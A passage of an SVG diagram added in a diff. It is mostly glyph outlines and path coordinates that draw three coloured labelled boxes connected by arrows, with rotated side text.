+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface7180">
+<rect x="0" y="0" width="404" height="312" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5.2 6.4 L 14.8 6.4 L 14.8 21.8 L -5.2 21.8 Z M -5.2 6.4 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 13 C 1.134375 13 1 13.134375 1 13.3 L 1 14.7 C 1 14.865625 1.134375 15 1.3 15 L 9.7 15 C 9.865625 15 10 14.865625 10 14.7 L 10 13.3 C 10 13.134375 9.865625 13 9.7 13 Z M 1.3 13 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="179.203125" y="162.00217"/>
+  <use xlink:href="#glyph0-2" x="190.036458" y="162.00217"/>
+  <use xlink:href="#glyph0-3" x="198.925347" y="162.00217"/>
+  <use xlink:href="#glyph0-4" x="204.480903" y="162.00217"/>
+  <use xlink:href="#glyph0-5" x="217.814236" y="162.00217"/>
+  <use xlink:href="#glyph0-6" x="222.258681" y="162.00217"/>
+  <use xlink:href="#glyph0-7" x="231.147569" y="162.00217"/>
+  <use xlink:href="#glyph0-8" x="239.203125" y="162.00217"/>
+  <use xlink:href="#glyph0-7" x="244.758681" y="162.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,87.058824%,78.039217%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 19 C 1.134375 19 1 19.134375 1 19.3 L 1 20.7 C 1 20.865625 1.134375 21 1.3 21 L 9.7 21 C 9.865625 21 10 20.865625 10 20.7 L 10 19.3 C 10 19.134375 9.865625 19 9.7 19 Z M 1.3 19 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="181.566406" y="282.00217"/>
+  <use xlink:href="#glyph0-10" x="191.010851" y="282.00217"/>
+  <use xlink:href="#glyph0-11" x="195.455295" y="282.00217"/>
+  <use xlink:href="#glyph0-12" x="203.788628" y="282.00217"/>
+  <use xlink:href="#glyph0-5" x="215.455295" y="282.00217"/>
+  <use xlink:href="#glyph0-6" x="219.89974" y="282.00217"/>
+  <use xlink:href="#glyph0-7" x="228.788628" y="282.00217"/>
+  <use xlink:href="#glyph0-8" x="236.844184" y="282.00217"/>
+  <use xlink:href="#glyph0-7" x="242.39974" y="282.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 7 C 1.134375 7 1 7.134375 1 7.3 L 1 8.7 C 1 8.865625 1.134375 9 1.3 9 L 9.7 9 C 9.865625 9 10 8.865625 10 8.7 L 10 7.3 C 10 7.134375 9.865625 7 9.7 7 Z M 1.3 7 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="176.566406" y="42.00217"/>
+  <use xlink:href="#glyph0-2" x="189.621962" y="42.00217"/>
+  <use xlink:href="#glyph0-6" x="198.510851" y="42.00217"/>
+  <use xlink:href="#glyph0-11" x="207.39974" y="42.00217"/>
+  <use xlink:href="#glyph0-14" x="215.733073" y="42.00217"/>
+  <use xlink:href="#glyph0-5" x="220.455295" y="42.00217"/>
+  <use xlink:href="#glyph0-6" x="224.89974" y="42.00217"/>
+  <use xlink:href="#glyph0-7" x="233.788628" y="42.00217"/>
+  <use xlink:href="#glyph0-8" x="241.844184" y="42.00217"/>
+  <use xlink:href="#glyph0-7" x="247.39974" y="42.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 9 L 3.25 12.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 12.45 L 3.25 12.95 L 3.5 12.45 Z M 3 12.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 15 L 3.25 18.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 18.45 L 3.25 18.95 L 3.5 18.45 Z M 3 18.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 19 L 7.75 15.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 15.55 L 7.75 15.05 L 7.5 15.55 Z M 8 15.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 13 L 7.75 9.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 9.55 L 7.75 9.05 L 7.5 9.55 Z M 8 9.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="93.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="98.782118" y="101.525608"/>
+  <use xlink:href="#glyph0-7" x="104.337674" y="101.525608"/>
+  <use xlink:href="#glyph0-15" x="112.393229" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="121.282118" y="101.525608"/>
+  <use xlink:href="#glyph0-17" x="128.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-2" x="133.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="142.115451" y="101.525608"/>
+  <use xlink:href="#glyph0-4" x="147.671007" y="101.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-3" x="271" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="276.555556" y="101.525608"/>
+  <use xlink:href="#glyph0-18" x="284.611111" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="292.388889" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="300.722222" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="306.277778" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="313.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-19" x="321.555556" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="328.777778" y="101.525608"/>
+  <use xlink:href="#glyph0-7" x="334.333333" y="101.525608"/>
+  <use xlink:href="#glyph0-15" x="342.388889" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="351.277778" y="101.525608"/>
+  <use xlink:href="#glyph0-17" x="358.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-2" x="363.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="372.111111" y="101.525608"/>
+  <use xlink:href="#glyph0-4" x="377.666667" y="101.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="93.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="98.782118" y="221.525608"/>
+  <use xlink:href="#glyph0-7" x="104.337674" y="221.525608"/>
+  <use xlink:href="#glyph0-15" x="112.393229" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="121.282118" y="221.525608"/>
+  <use xlink:href="#glyph0-17" x="128.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-2" x="133.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="142.115451" y="221.525608"/>
+  <use xlink:href="#glyph0-4" x="147.671007" y="221.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-3" x="271" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="276.555556" y="221.525608"/>
+  <use xlink:href="#glyph0-18" x="284.611111" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="292.388889" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="300.722222" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="306.277778" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="313.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-19" x="321.555556" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="328.777778" y="221.525608"/>
+  <use xlink:href="#glyph0-7" x="334.333333" y="221.525608"/>
+  <use xlink:href="#glyph0-15" x="342.388889" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="351.277778" y="221.525608"/>
+  <use xlink:href="#glyph0-17" x="358.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-2" x="363.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="372.111111" y="221.525608"/>
+  <use xlink:href="#glyph0-4" x="377.666667" y="221.525608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.697461 19.141992 L -3.697461 15.932031 L -4.5 15.932031 L -2.894922 14.326953 L -1.289844 15.932031 L -2.092383 15.932031 L -2.092383 19.141992 L -1.289844 19.141992 L -2.894922 20.74707 L -4.5 19.141992 Z M -3.697461 19.141992 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 47.609375 182.761719 L 46.0625 183.027344 L 46.0625 183.058594 L 47.640625 183.351562 L 54.566406 185.316406 L 54.566406 186.484375 L 44.171875 183.277344 L 44.171875 182.671875 L 54.566406 179.425781 L 54.566406 180.679688 M 51.730469 187.148438 L 51.730469 188.226562 L 44.171875 188.226562 L 44.171875 187.148438 M 53.589844 186.941406 C 53.875 186.941406 54.109375 187.007812 54.285156 187.148438 C 54.46875 187.285156 54.566406 187.460938 54.566406 187.679688 C 54.566406 187.902344 54.476562 188.09375 54.300781 188.238281 C 54.128906 188.386719 53.894531 188.460938 53.589844 188.460938 C 53.304688 188.460938 53.078125 188.386719 52.914062 188.238281 C 52.753906 188.09375 52.675781 187.902344 52.675781 187.679688 C 52.675781 187.460938 52.757812 187.285156 52.925781 187.148438 C 53.09375 187.007812 53.316406 186.941406 53.589844 186.941406 M 44.835938 194.324219 C 44.628906 194.078125 44.464844 193.765625 44.347656 193.394531 C 44.230469 193.027344 44.171875 192.640625 44.171875 192.226562 C 44.171875 191.742188 44.257812 191.328125 44.4375 190.988281 C 44.613281 190.640625 44.867188 190.355469 45.203125 190.128906 C 45.535156 189.902344 45.933594 189.734375 46.386719 189.628906 C 46.847656 189.515625 47.367188 189.464844 47.949219 189.464844 C 49.179688 189.464844 50.113281 189.703125 50.757812 190.175781 C 51.40625 190.648438 51.730469 191.316406 51.730469 192.183594 C 51.730469 192.464844 51.695312 192.746094 51.628906 193.023438 C 51.570312 193.296875 51.4375 193.542969 51.242188 193.761719 C 51.042969 193.988281 50.769531 194.167969 50.417969 194.308594 C 50.0625 194.445312 49.597656 194.515625 49.027344 194.515625 C 48.871094 194.515625 48.695312 194.503906 48.511719 194.484375 C 48.335938 194.476562 48.148438 194.460938 47.949219 194.441406 L 47.949219 190.601562 C 47.515625 190.601562 47.125 190.636719 46.769531 190.707031 C 46.421875 190.773438 46.128906 190.882812 45.882812 191.03125 C 45.636719 191.1875 45.445312 191.386719 45.308594 191.621094 C 45.179688 191.859375 45.117188 192.152344 45.117188 192.507812 C 45.117188 192.78125 45.160156 193.054688 45.25 193.320312 C 45.34375 193.585938 45.464844 193.785156 45.601562 193.925781 M 48.894531 193.46875 C 49.546875 193.484375 50.023438 193.378906 50.328125 193.140625 C 50.632812 192.914062 50.785156 192.601562 50.785156 192.195312 C 50.785156 191.730469 50.632812 191.363281 50.328125 191.089844 C 50.023438 190.824219 49.546875 190.664062 48.894531 190.617188 M 51.730469 199.507812 L 47.40625 200.851562 L 45.988281 201.117188 L 45.988281 201.144531 L 47.433594 201.382812 L 51.730469 202.398438 L 51.730469 203.433594 L 44.171875 201.425781 L 44.171875 200.804688 L 49.027344 199.269531 L 50.269531 199.0625 L 50.269531 199.035156 L 49.015625 198.828125 L 44.171875 197.335938 L 44.171875 196.714844 L 51.730469 194.648438 L 51.730469 195.816406 L 47.417969 196.980469 L 45.988281 197.160156 L 45.988281 197.1875 L 47.449219 197.46875 L 51.730469 198.707031 M 53.621094 212.457031 L 53.621094 209.855469 L 44.171875 209.855469 L 44.171875 208.71875 L 53.621094 208.71875 L 53.621094 206.121094 L 54.566406 206.121094 L 54.566406 212.457031 M 51.730469 212.46875 L 51.730469 213.253906 L 50.816406 213.445312 L 50.816406 213.488281 C 51.101562 213.625 51.320312 213.808594 51.480469 214.035156 C 51.644531 214.261719 51.730469 214.539062 51.730469 214.863281 C 51.730469 215.085938 51.691406 215.351562 51.613281 215.644531 L 50.652344 215.4375 C 50.742188 215.171875 50.785156 214.941406 50.785156 214.746094 C 50.785156 214.417969 50.691406 214.152344 50.503906 213.945312 C 50.316406 213.746094 50.066406 213.621094 49.753906 213.5625 L 44.171875 213.5625 L 44.171875 212.46875 M 51.167969 216.175781 C 51.347656 216.472656 51.484375 216.828125 51.582031 217.238281 C 51.679688 217.660156 51.730469 218.105469 51.730469 218.570312 C 51.730469 218.988281 51.664062 219.328125 51.539062 219.585938 C 51.421875 219.84375 51.25 220.046875 51.035156 220.191406 C 50.832031 220.339844 50.585938 220.433594 50.3125 220.472656 C 50.046875 220.519531 49.757812 220.546875 49.457031 220.546875 C 48.867188 220.546875 48.289062 220.53125 47.730469 220.503906 C 47.167969 220.480469 46.636719 220.472656 46.132812 220.472656 C 45.75 220.472656 45.394531 220.480469 45.070312 220.503906 C 44.753906 220.53125 44.457031 220.582031 44.171875 220.652344 L 44.171875 219.824219 L 45.117188 219.574219 L 45.117188 219.511719 C 44.859375 219.367188 44.636719 219.144531 44.453125 218.847656 C 44.261719 218.554688 44.171875 218.160156 44.171875 217.667969 C 44.171875 217.125 44.371094 216.679688 44.777344 216.324219 C 45.179688 215.976562 45.734375 215.808594 46.445312 215.808594 C 46.90625 215.808594 47.289062 215.882812 47.597656 216.027344 C 47.910156 216.175781 48.164062 216.382812 48.363281 216.648438 C 48.558594 216.914062 48.695312 217.230469 48.777344 217.59375 C 48.855469 217.96875 48.894531 218.378906 48.894531 218.835938 C 48.894531 218.929688 48.894531 219.03125 48.894531 219.128906 C 48.894531 219.238281 48.886719 219.34375 48.882812 219.453125 C 49.125 219.484375 49.347656 219.5 49.546875 219.5 C 49.996094 219.5 50.316406 219.410156 50.503906 219.234375 C 50.691406 219.0625 50.785156 218.753906 50.785156 218.304688 C 50.785156 218.015625 50.742188 217.703125 50.652344 217.371094 C 50.570312 217.035156 50.46875 216.761719 50.34375 216.546875 M 47.921875 219.46875 C 47.929688 219.371094 47.9375 219.265625 47.9375 219.160156 C 47.945312 219.058594 47.949219 218.960938 47.949219 218.863281 C 47.949219 218.617188 47.925781 218.375 47.878906 218.140625 C 47.835938 217.910156 47.761719 217.703125 47.65625 217.519531 C 47.542969 217.34375 47.398438 217.199219 47.210938 217.09375 C 47.023438 216.980469 46.789062 216.929688 46.503906 216.929688 C 46.0625 216.929688 45.714844 217.027344 45.46875 217.226562 C 45.234375 217.421875 45.117188 217.675781 45.117188 217.992188 C 45.117188 218.414062 45.222656 218.746094 45.441406 218.980469 C 45.65625 219.21875 45.898438 219.378906 46.164062 219.46875 M 44.171875 225.804688 L 48.6875 225.804688 C 49.425781 225.804688 49.960938 225.714844 50.285156 225.539062 C 50.617188 225.359375 50.785156 225.042969 50.785156 224.59375 C 50.785156 224.1875 50.667969 223.855469 50.429688 223.589844 C 50.195312 223.324219 49.902344 223.132812 49.558594 223.011719 L 44.171875 223.011719 L 44.171875 221.921875 L 51.730469 221.921875 L 51.730469 222.71875 L 50.769531 222.910156 L 50.769531 222.953125 C 51.035156 223.148438 51.261719 223.410156 51.449219 223.738281 C 51.636719 224.0625 51.730469 224.449219 51.730469 224.902344 C 51.730469 225.226562 51.6875 225.511719 51.597656 225.757812 C 51.507812 226.003906 51.355469 226.210938 51.140625 226.378906 C 50.933594 226.546875 50.652344 226.667969 50.296875 226.75 C 49.945312 226.835938 49.492188 226.882812 48.953125 226.882812 L 44.171875 226.882812 M 45.53125 228.433594 C 45.410156 228.628906 45.3125 228.863281 45.234375 229.140625 C 45.152344 229.414062 45.117188 229.703125 45.117188 229.996094 C 45.117188 230.328125 45.195312 230.609375 45.351562 230.839844 C 45.519531 231.074219 45.785156 231.191406 46.148438 231.191406 C 46.453125 231.191406 46.703125 231.121094 46.902344 230.972656 C 47.097656 230.832031 47.273438 230.652344 47.433594 230.441406 C 47.589844 230.222656 47.734375 229.984375 47.863281 229.730469 C 47.988281 229.484375 48.144531 229.25 48.320312 229.039062 C 48.496094 228.820312 48.707031 228.640625 48.953125 228.492188 C 49.199219 228.351562 49.515625 228.285156 49.898438 228.285156 C 50.496094 228.285156 50.953125 228.453125 51.257812 228.800781 C 51.570312 229.15625 51.730469 229.648438 51.730469 230.277344 C 51.730469 230.691406 51.691406 231.046875 51.613281 231.339844 C 51.542969 231.644531 51.449219 231.910156 51.332031 232.136719 L 50.460938 231.859375 C 50.558594 231.660156 50.636719 231.433594 50.699219 231.179688 C 50.757812 230.929688 50.785156 230.679688 50.785156 230.425781 C 50.785156 230.058594 50.710938 229.792969 50.5625 229.628906 C 50.425781 229.457031 50.203125 229.378906 49.898438 229.378906 C 49.652344 229.378906 49.445312 229.445312 49.28125 229.582031 C 49.109375 229.730469 48.957031 229.910156 48.820312 230.117188 C 48.683594 230.328125 48.542969 230.566406 48.394531 230.824219 C 48.253906 231.078125 48.085938 231.3125 47.890625 231.519531 C 47.691406 231.730469 47.457031 231.910156 47.183594 232.050781 C 46.90625 232.199219 46.5625 232.269531 46.148438 232.269531 C 45.882812 232.269531 45.625 232.226562 45.382812 232.136719 C 45.144531 232.050781 44.9375 231.910156 44.761719 231.726562 C 44.585938 231.535156 44.441406 231.304688 44.332031 231.03125 C 44.222656 230.753906 44.171875 230.429688 44.171875 230.054688 C 44.171875 229.613281 44.207031 229.230469 44.289062 228.90625 C 44.378906 228.578125 44.484375 228.304688 44.613281 228.09375 M 51.730469 232.609375 L 51.730469 233.539062 L 52.113281 233.539062 C 52.980469 233.539062 53.605469 233.675781 53.988281 233.941406 C 54.375 234.210938 54.566406 234.679688 54.566406 235.34375 C 54.566406 235.597656 54.550781 235.828125 54.523438 236.035156 C 54.492188 236.25 54.425781 236.472656 54.328125 236.699219 L 53.429688 236.433594 C 53.507812 236.246094 53.554688 236.074219 53.578125 235.917969 C 53.605469 235.769531 53.621094 235.621094 53.621094 235.476562 C 53.621094 235.277344 53.582031 235.121094 53.503906 235.003906 C 53.433594 234.890625 53.324219 234.8125 53.179688 234.75 C 53.03125 234.699219 52.832031 234.667969 52.585938 234.648438 C 52.351562 234.636719 52.0625 234.632812 51.730469 234.632812 L 51.730469 236.199219 L 50.785156 236.199219 L 50.785156 234.632812 L 44.171875 234.632812 L 44.171875 233.539062 L 50.785156 233.539062 L 50.785156 232.609375 M 47.949219 236.714844 C 49.25 236.714844 50.203125 236.945312 50.816406 237.410156 C 51.425781 237.882812 51.730469 238.550781 51.730469 239.417969 C 51.730469 240.339844 51.414062 241.019531 50.785156 241.457031 C 50.164062 241.898438 49.222656 242.121094 47.949219 242.121094 C 46.640625 242.121094 45.679688 241.882812 45.070312 241.410156 C 44.46875 240.9375 44.171875 240.273438 44.171875 239.417969 C 44.171875 238.492188 44.480469 237.808594 45.101562 237.367188 C 45.730469 236.929688 46.679688 236.714844 47.949219 236.714844 M 47.949219 237.851562 C 47.527344 237.851562 47.140625 237.875 46.800781 237.925781 C 46.453125 237.984375 46.152344 238.078125 45.898438 238.207031 C 45.652344 238.332031 45.460938 238.496094 45.324219 238.695312 C 45.183594 238.902344 45.117188 239.140625 45.117188 239.417969 C 45.117188 239.949219 45.335938 240.339844 45.78125 240.597656 C 46.230469 240.863281 46.953125 240.996094 47.949219 240.996094 C 48.363281 240.996094 48.742188 240.96875 49.085938 240.910156 C 49.441406 240.855469 49.742188 240.769531 49.988281 240.644531 C 50.242188 240.515625 50.4375 240.347656 50.578125 240.140625 C 50.714844 239.941406 50.785156 239.703125 50.785156 239.417969 C 50.785156 238.90625 50.558594 238.515625 50.105469 238.25 C 49.652344 237.984375 48.933594 237.851562 47.949219 237.851562 M 51.730469 243.65625 L 51.730469 244.4375 L 50.816406 244.628906 L 50.816406 244.675781 C 51.101562 244.8125 51.320312 244.992188 51.480469 245.21875 C 51.644531 245.445312 51.730469 245.722656 51.730469 246.046875 C 51.730469 246.273438 51.691406 246.535156 51.613281 246.828125 L 50.652344 246.625 C 50.742188 246.359375 50.785156 246.125 50.785156 245.929688 C 50.785156 245.605469 50.691406 245.339844 50.503906 245.132812 C 50.316406 244.933594 50.066406 244.808594 49.753906 244.75 L 44.171875 244.75 L 44.171875 243.65625 M 44.171875 250.980469 L 48.570312 250.980469 C 48.960938 250.980469 49.296875 250.964844 49.574219 250.933594 C 49.859375 250.914062 50.09375 250.859375 50.269531 250.773438 C 50.445312 250.691406 50.570312 250.585938 50.652344 250.449219 C 50.742188 250.308594 50.785156 250.121094 50.785156 249.886719 C 50.785156 249.539062 50.652344 249.25 50.386719 249.015625 C 50.128906 248.777344 49.832031 248.617188 49.5 248.527344 L 44.171875 248.527344 L 44.171875 247.433594 L 51.730469 247.433594 L 51.730469 248.21875 L 50.769531 248.410156 L 50.769531 248.453125 C 51.054688 248.667969 51.289062 248.917969 51.464844 249.207031 C 51.640625 249.503906 51.730469 249.875 51.730469 250.328125 C 51.730469 250.714844 51.644531 251.027344 51.480469 251.273438 C 51.320312 251.519531 51.035156 251.710938 50.625 251.851562 C 50.964844 252.027344 51.234375 252.28125 51.4375 252.617188 C 51.632812 252.960938 51.730469 253.335938 51.730469 253.742188 C 51.730469 254.074219 51.6875 254.359375 51.597656 254.597656 C 51.515625 254.832031 51.367188 255.023438 51.15625 255.171875 C 50.949219 255.320312 50.667969 255.425781 50.3125 255.496094 C 49.964844 255.5625 49.53125 255.601562 49 255.601562 L 44.171875 255.601562 L 44.171875 254.523438 L 48.882812 254.523438 C 49.519531 254.523438 49.996094 254.457031 50.3125 254.332031 C 50.628906 